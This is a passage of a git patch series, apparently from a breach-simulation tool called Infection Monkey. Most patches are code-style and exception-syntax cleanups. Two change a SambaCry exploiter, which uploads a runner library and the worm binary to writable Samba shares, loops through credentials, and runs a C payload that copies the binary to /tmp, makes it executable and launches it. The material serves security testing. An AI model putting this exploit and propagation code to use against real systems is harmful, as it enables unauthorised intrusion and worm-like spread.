sock.sendto("+", (address, MCAST_PORT))
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Caught exception in tunnel registration: %s", exc)
if not existing_sock:
@@ -91,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
sock.close()
return address, port
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Caught exception in tunnel lookup: %s", exc)
continue
@@ -103,8 +104,8 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
sock = _set_multicast_socket(timeout)
sock.sendto("-", (address, MCAST_PORT))
sock.close()
- LOG.debug("Success quitting tunnel")
- except Exception, exc:
+ LOG.debug("Success quitting tunnel")
+ except Exception as exc:
LOG.debug("Exception quitting tunnel: %s", exc)
return
@@ -157,9 +158,9 @@ class MonkeyTunnel(Thread):
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
self._clients.append(address[0])
elif '-' == search:
- LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
- self._clients = [client for client in self._clients if client != address[0]]
-
+ LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
+ self._clients = [client for client in self._clients if client != address[0]]
+
except socket.timeout:
continue
@@ -190,4 +191,4 @@ class MonkeyTunnel(Thread):
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
def stop(self):
- self._stopped = True
\ No newline at end of file
+ self._stopped = True
From b668a0d0f3993100cd4011cd86dd9f230e6be7a8 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 17:59:17 +0300
Subject: [PATCH 22/35] PEP8 + Python exceptions
---
chaos_monkey/system_singleton.py | 18 +++++++++++-------
1 file changed, 11 insertions(+), 7 deletions(-)
diff --git a/chaos_monkey/system_singleton.py b/chaos_monkey/system_singleton.py
index e4facd88a..970905a9c 100644
--- a/chaos_monkey/system_singleton.py
+++ b/chaos_monkey/system_singleton.py
@@ -1,7 +1,8 @@
-import sys
import ctypes
import logging
+import sys
from abc import ABCMeta, abstractmethod
+
from config import WormConfiguration
__author__ = 'itamar'
@@ -28,7 +29,7 @@ class _SystemSingleton(object):
class WindowsSystemSingleton(_SystemSingleton):
def __init__(self):
- self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, )
+ self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,)
self._mutex_handle = None
@property
@@ -53,7 +54,7 @@ class WindowsSystemSingleton(_SystemSingleton):
self._mutex_name)
return False
-
+
self._mutex_handle = handle
LOG.debug("Global singleton mutex %r acquired",
@@ -79,16 +80,16 @@ class LinuxSystemSingleton(_SystemSingleton):
def try_lock(self):
assert self._sock_handle is None, "Singleton already locked"
-
+
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
-
+
try:
sock.bind('\0' + self._unix_sock_name)
- except socket.error, e:
+ except socket.error as e:
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
self._unix_sock_name, e.args[0], e.args[1])
return False
-
+
self._sock_handle = sock
LOG.debug("Global singleton mutex %r acquired", self._unix_sock_name)
@@ -100,9 +101,12 @@ class LinuxSystemSingleton(_SystemSingleton):
self._sock_handle.close()
self._sock_handle = None
+
if sys.platform == "win32":
import winerror
+
SystemSingleton = WindowsSystemSingleton
else:
import socket
+
SystemSingleton = LinuxSystemSingleton
From a2b1b78f0b01782f972d118930b39f96646a5295 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 18:03:33 +0300
Subject: [PATCH 23/35] PEP8 + Python exception
---
chaos_monkey/dropper.py | 26 +++++++++++++-------------
1 file changed, 13 insertions(+), 13 deletions(-)
diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py
index c0b995ae8..3e0a8bff5 100644
--- a/chaos_monkey/dropper.py
+++ b/chaos_monkey/dropper.py
@@ -1,17 +1,17 @@
+import argparse
+import ctypes
+import logging
import os
+import pprint
+import shutil
+import subprocess
import sys
import time
-import ctypes
-import shutil
-import pprint
-import logging
-import subprocess
-import argparse
from ctypes import c_char_p
+from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
-from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
@@ -65,7 +65,7 @@ class MonkeyDrops(object):
self._config['destination_path'])
LOG.info("Moved source file '%s' into '%s'",
- self._config['source_path'], self._config['destination_path'])
+ self._config['source_path'], self._config['destination_path'])
file_moved = True
except (WindowsError, IOError, OSError) as exc:
@@ -80,7 +80,7 @@ class MonkeyDrops(object):
self._config['destination_path'])
LOG.info("Copied source file '%s' into '%s'",
- self._config['source_path'], self._config['destination_path'])
+ self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError) as exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
@@ -95,7 +95,7 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
- except:
+ except OSError as exc:
LOG.warn("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
@@ -142,10 +142,10 @@ class MonkeyDrops(object):
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
- if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
- MOVEFILE_DELAY_UNTIL_REBOOT):
+ if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
+ MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
- self._config['source_path'])
\ No newline at end of file
+ self._config['source_path'])
From 9d5ea03eb3489beb3c646b85828288b6b7579bb4 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 18:05:05 +0300
Subject: [PATCH 24/35] PEP8+python exceptions
---
chaos_monkey/control.py | 46 +++++++++++++++++++++--------------------
1 file changed, 24 insertions(+), 22 deletions(-)
diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py
index 2b440476c..ab5abec83 100644
--- a/chaos_monkey/control.py
+++ b/chaos_monkey/control.py
@@ -1,14 +1,16 @@
import json
import logging
-import requests
import platform
-import monkeyfs
-from network.info import local_ips, check_internet_access
from socket import gethostname
-from config import WormConfiguration, GUID
-from transport.tcp import TcpProxy
-from transport.http import HTTPConnectProxy
+
+import requests
+
+import monkeyfs
import tunnel
+from config import WormConfiguration, GUID
+from network.info import local_ips, check_internet_access
+from transport.http import HTTPConnectProxy
+from transport.tcp import TcpProxy
__author__ = 'hoffer'
@@ -60,7 +62,7 @@ class ControlClient(object):
timeout=20)
break
- except Exception, exc:
+ except Exception as exc:
WormConfiguration.current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc)
@@ -83,13 +85,13 @@ class ControlClient(object):
try:
monkey = {}
if ControlClient.proxies:
- monkey['tunnel'] = ControlClient.proxies.get('https')
+ monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps(monkey),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return {}
@@ -97,7 +99,7 @@ class ControlClient(object):
@staticmethod
def send_telemetry(tele_type='general', data=''):
if not WormConfiguration.current_server:
- return
+ return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data': data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
@@ -105,20 +107,20 @@ class ControlClient(object):
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod
def load_control_config():
if not WormConfiguration.current_server:
- return
+ return
try:
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies)
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
@@ -126,7 +128,7 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
- except Exception, exc:
+ except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server, reply._content, exc)
@@ -141,11 +143,11 @@ class ControlClient(object):
return
try:
requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
- data=json.dumps({'config_error': True}),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
- except Exception, exc:
+ data=json.dumps({'config_error': True}),
+ headers={'content-type': 'application/json'},
+ verify=False,
+ proxies=ControlClient.proxies)
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
return {}
@@ -215,7 +217,7 @@ class ControlClient(object):
if size == monkeyfs.getsize(dest_file):
return dest_file
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@@ -243,7 +245,7 @@ class ControlClient(object):
else:
return None, None
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@@ -253,7 +255,7 @@ class ControlClient(object):
def create_control_tunnel():
if not WormConfiguration.current_server:
return None
-
+
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
if my_proxy:
proxy_class = TcpProxy
From 637b704fa2bb473e073e5f987850cbcc21bcc245 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 18:05:37 +0300
Subject: [PATCH 25/35] remove fully qualified path
---
chaos_monkey/build_windows.bat | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/chaos_monkey/build_windows.bat b/chaos_monkey/build_windows.bat
index f7f2b0da5..e5ff5a805 100644
--- a/chaos_monkey/build_windows.bat
+++ b/chaos_monkey/build_windows.bat
@@ -1 +1 @@
-c:\python27\Scripts\pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
\ No newline at end of file
+pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
\ No newline at end of file
From 39ab50f3760f492d7d2ebb34c2213fda2a707c5c Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 19:25:53 +0300
Subject: [PATCH 26/35] Fix inconsistent return value in send_head
---
chaos_monkey/transport/http.py | 42 +++++++++++++++++++---------------
1 file changed, 23 insertions(+), 19 deletions(-)
diff --git a/chaos_monkey/transport/http.py b/chaos_monkey/transport/http.py
index e51074745..ee198a08a 100644
--- a/chaos_monkey/transport/http.py
+++ b/chaos_monkey/transport/http.py
@@ -1,10 +1,14 @@
-import urllib, BaseHTTPServer, threading, os.path
-import monkeyfs
-from logging import getLogger
-from base import TransportProxyBase, update_last_serve_time
-from urlparse import urlsplit
+import BaseHTTPServer
+import os.path
import select
import socket
+import threading
+import urllib
+from logging import getLogger
+from urlparse import urlsplit
+
+import monkeyfs
+from base import TransportProxyBase, update_last_serve_time
__author__ = 'hoffer'
@@ -24,7 +28,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(self):
self.send_error(501, "Unsupported method (POST)")
- return
+ return
def do_GET(self):
"""Serve a GET request."""
@@ -55,9 +59,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
f.close()
def send_head(self):
- if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
- self.send_error (500, "")
- return
+ if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
+ self.send_error(500, "")
+ return None, 0, 0
f = None
try:
f = monkeyfs.open(self.filename, 'rb')
@@ -67,7 +71,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
size = monkeyfs.getsize(self.filename)
start_range = 0
end_range = size
-
+
if "Range" in self.headers:
s, e = self.headers['range'][6:].split('-', 1)
sl = len(s)
@@ -80,7 +84,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
ei = int(e)
if ei < size:
start_range = size - ei
-
+
if start_range == 0 and end_range - start_range >= size:
self.send_response(200)
else:
@@ -88,7 +92,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
else:
self.send_response(200)
- self.send_header("Content-type", "application/octet-stream")
+ self.send_header("Content-type", "application/octet-stream")
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
self.send_header("Content-Length", min(end_range - start_range, size))
self.end_headers()
@@ -101,9 +105,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
- timeout = 30 # timeout with clients, set to None not to make persistent connection
- proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
- protocol_version = "HTTP/1.1"
+ timeout = 30 # timeout with clients, set to None not to make persistent connection
+ proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
+ protocol_version = "HTTP/1.1"
def version_string(self):
return ""
@@ -120,7 +124,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
conn = socket.create_connection(address)
except socket.error, e:
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
- self.send_error(504) # 504 Gateway Timeout
+ self.send_error(504) # 504 Gateway Timeout
return
self.send_response(200, 'Connection Established')
self.send_header('Connection', 'close')
@@ -163,12 +167,12 @@ class HTTPServer(threading.Thread):
@staticmethod
def report_download(dest=None):
- LOG.info('File downloaded from (%s,%s)' % (dest[0],dest[1]))
+ LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
- httpd.timeout = 0.5 # this is irrelevant?
-
+ httpd.timeout = 0.5 # this is irrelevant?
+
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
From 65872d951878010fc3e6cbd8dd8606ed0febf16a Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 17:11:51 +0300
Subject: [PATCH 27/35] Fix SambaCry not working for non-root user
---
chaos_monkey/config.py | 18 +-------
chaos_monkey/example.conf | 10 +----
chaos_monkey/exploit/sambacry.py | 42 +++++++++++++------
.../sambacry_monkey_runner/build.sh | 8 ++--
.../sambacry_monkey_runner/sc_monkey_runner.c | 17 +++++---
monkey_island/cc/services/config.py | 40 ------------------
6 files changed, 46 insertions(+), 89 deletions(-)
diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py
index 5cbc8f7ba..6b49d3bb3 100644
--- a/chaos_monkey/config.py
+++ b/chaos_monkey/config.py
@@ -111,7 +111,7 @@ class Configuration(object):
# dropper config
###########################
- dropper_try_move_first = sys.argv[0].endswith(".exe")
+ dropper_try_move_first = True
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
@@ -260,22 +260,6 @@ class Configuration(object):
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
- # Name of file which contains the monkey's commandline
- sambacry_commandline_filename = "monkey_commandline.txt"
- # Name of file which contains the runner's result
- sambacry_runner_result_filename = "monkey_runner_result"
- # SambaCry runner filename (32 bit)
- sambacry_runner_filename_32 = "sc_monkey_runner32.so"
- # SambaCry runner filename (64 bit)
- sambacry_runner_filename_64 = "sc_monkey_runner64.so"
- # Monkey filename on share (32 bit)
- sambacry_monkey_filename_32 = "monkey32"
- # Monkey filename on share (64 bit)
- sambacry_monkey_filename_64 = "monkey64"
- # Monkey copy filename on share (32 bit)
- sambacry_monkey_copy_filename_32 = "monkey32_2"
- # Monkey copy filename on share (64 bit)
- sambacry_monkey_copy_filename_64 = "monkey64_2"
# system info collection
collect_system_info = True
diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf
index 8a979d0fb..285bffd11 100644
--- a/chaos_monkey/example.conf
+++ b/chaos_monkey/example.conf
@@ -27,7 +27,7 @@
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
- "dropper_try_move_first": false,
+ "dropper_try_move_first": true,
"exploiter_classes": [
"SSHExploiter",
"SmbExploiter",
@@ -70,14 +70,6 @@
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
- "sambacry_commandline_filename": "monkey_commandline.txt",
- "sambacry_runner_result_filename": "monkey_runner_result",
- "sambacry_runner_filename_32": "sc_monkey_runner32.so",
- "sambacry_runner_filename_64": "sc_monkey_runner64.so",
- "sambacry_monkey_filename_32": "monkey32",
- "sambacry_monkey_filename_64": "monkey64",
- "sambacry_monkey_copy_filename_32": "monkey32_2",
- "sambacry_monkey_copy_filename_64": "monkey64_2",
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 1fc0eaf12..4bebbd6a1 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -33,6 +33,23 @@ class SambaCryExploiter(HostExploiter):
"""
_target_os_type = ['linux']
+ # Name of file which contains the monkey's commandline
+ SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
+ # Name of file which contains the runner's result
+ SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
+ # SambaCry runner filename (32 bit)
+ SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
+ # SambaCry runner filename (64 bit)
+ SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
+ # Monkey filename on share (32 bit)
+ SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
+ # Monkey filename on share (64 bit)
+ SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
+ # Monkey copy filename on share (32 bit)
+ SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
+ # Monkey copy filename on share (64 bit)
+ SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
+
def __init__(self):
self._config = __import__('config').WormConfiguration
@@ -97,10 +114,9 @@ class SambaCryExploiter(HostExploiter):
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
- file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
- self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
- self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
- self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
+ file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME,
+ self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64,
+ self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64]
for filename in file_list:
try:
@@ -123,7 +139,7 @@ class SambaCryExploiter(HostExploiter):
tree_id = smb_client.connectTree(share)
file_content = None
try:
- file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
+ file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
@@ -251,22 +267,22 @@ class SambaCryExploiter(HostExploiter):
with self.get_monkey_commandline_file(host, depth,
self._config.dropper_target_path_linux) as monkey_commandline_file:
- smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
+ smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
- smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
+ smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
- smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
+ smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
- smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
+ smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
- smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
+ smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
@@ -323,14 +339,14 @@ class SambaCryExploiter(HostExploiter):
:return: Array of possible full paths to the module.
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
- file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
+ file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
- return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
+ return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
else:
- return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
+ return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh
index cc7640742..aba122d76 100644
--- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh
+++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh
@@ -1,9 +1,9 @@
#!/usr/bin/env bash
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
-gcc -shared -m64 -o sc_monkey_runner_64.so sc_monkey_runner.o
+gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o
rm sc_monkey_runner.o
-strip sc_monkey_runner_64.so
+strip sc_monkey_runner64.so
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
-gcc -shared -m32 -o sc_monkey_runner_32.so sc_monkey_runner.o
+gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o
rm sc_monkey_runner.o
-strip sc_monkey_runner_32.so
\ No newline at end of file
+strip sc_monkey_runner32.so
\ No newline at end of file
diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
index e23d08f3a..65684fbf2 100644
--- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
+++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
@@ -22,16 +22,16 @@ int samba_init_module(void)
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
- const char MONKEY_COPY_NAME[] = "monkey64_2";
#else
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
- const char MONKEY_COPY_NAME[] = "monkey32_2";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const int ACCESS_MODE = 0777;
- const char RUN_MONKEY_CMD[] = "sudo ./";
+ const char RUN_MONKEY_CMD[] = "./";
+ const char MONKEY_DEST_FOLDER[] = "/tmp";
+ const char MONKEY_DEST_NAME[] = "monkey";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
@@ -102,7 +102,7 @@ int samba_init_module(void)
// Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
- strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
+ strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
@@ -133,7 +133,12 @@ int samba_init_module(void)
fread(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
- pFile = fopen(MONKEY_COPY_NAME, "wb");
+ if (0 != chdir(MONKEY_DEST_FOLDER))
+ {
+ return 0;
+ }
+
+ pFile = fopen(MONKEY_DEST_NAME, "wb");
if (NULL == pFile)
{
free(monkeyBinary);
@@ -144,7 +149,7 @@ int samba_init_module(void)
free(monkeyBinary);
// Change monkey permissions
- if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
+ if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE))
{
return 0;
}
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 0a89e4c4f..5e4d5abe0 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -587,46 +587,6 @@ SCHEMA = {
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
- },
- "sambacry_commandline_filename": {
- "title": "SambaCry commandline filename",
- "type": "string",
- "default": "monkey_commandline.txt",
- },
- "sambacry_runner_result_filename": {
- "title": "SambaCry runner result filename",
- "type": "string",
- "default": "monkey_runner_result",
- },
- "sambacry_runner_filename_32": {
- "title": "SambaCry runner filename (32 bit)",
- "type": "string",
- "default": "sc_monkey_runner32.so",
- },
- "sambacry_runner_filename_64": {
- "title": "SambaCry runner filename (64 bit)",
- "type": "string",
- "default": "sc_monkey_runner64.so",
- },
- "sambacry_monkey_filename_32": {
- "title": "SambaCry monkey filename (32 bit)",
- "type": "string",
- "default": "monkey32",
- },
- "sambacry_monkey_filename_64": {
- "title": "SambaCry monkey filename (64 bit)",
- "type": "string",
- "default": "monkey64",
- },
- "sambacry_monkey_copy_filename_32": {
- "title": "SambaCry monkey copy filename (32 bit)",
- "type": "string",
- "default": "monkey32_2",
- },
- "sambacry_monkey_copy_filename_64": {
- "title": "SambaCry monkey copy filename (64 bit)",
- "type": "string",
- "default": "monkey64_2",
}
}
},
From 2bbd5d48241f26c791b37a0a46dc49624470e215 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Tue, 3 Oct 2017 15:47:07 +0300
Subject: [PATCH 28/35] Fix SambaCry .close() bug
---
chaos_monkey/exploit/sambacry.py | 6 ++----
1 file changed, 2 insertions(+), 4 deletions(-)
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 4bebbd6a1..ab27728ff 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -100,7 +100,6 @@ class SambaCryExploiter(HostExploiter):
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share)
- smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
@@ -125,7 +124,6 @@ class SambaCryExploiter(HostExploiter):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
- smb_client.close()
def get_trigger_result(self, ip, share, creds):
"""
@@ -147,7 +145,6 @@ class SambaCryExploiter(HostExploiter):
pass
smb_client.disconnectTree(tree_id)
- smb_client.close()
return file_content
def get_writable_shares_creds_dict(self, ip):
@@ -159,6 +156,8 @@ class SambaCryExploiter(HostExploiter):
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
+ LOG.debug("SambaCry credential list: %s" % str(credentials_list))
+
for credentials in credentials_list:
try:
smb_client = self.connect_to_server(ip, credentials)
@@ -169,7 +168,6 @@ class SambaCryExploiter(HostExploiter):
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
- smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others.
pass
From 65f5dbeaaf9d6528e91406dc41ea0b1879fe83e9 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Tue, 3 Oct 2017 15:47:50 +0300
Subject: [PATCH 29/35] Sleep only *between* life cycles
---
chaos_monkey/config.py | 2 ++
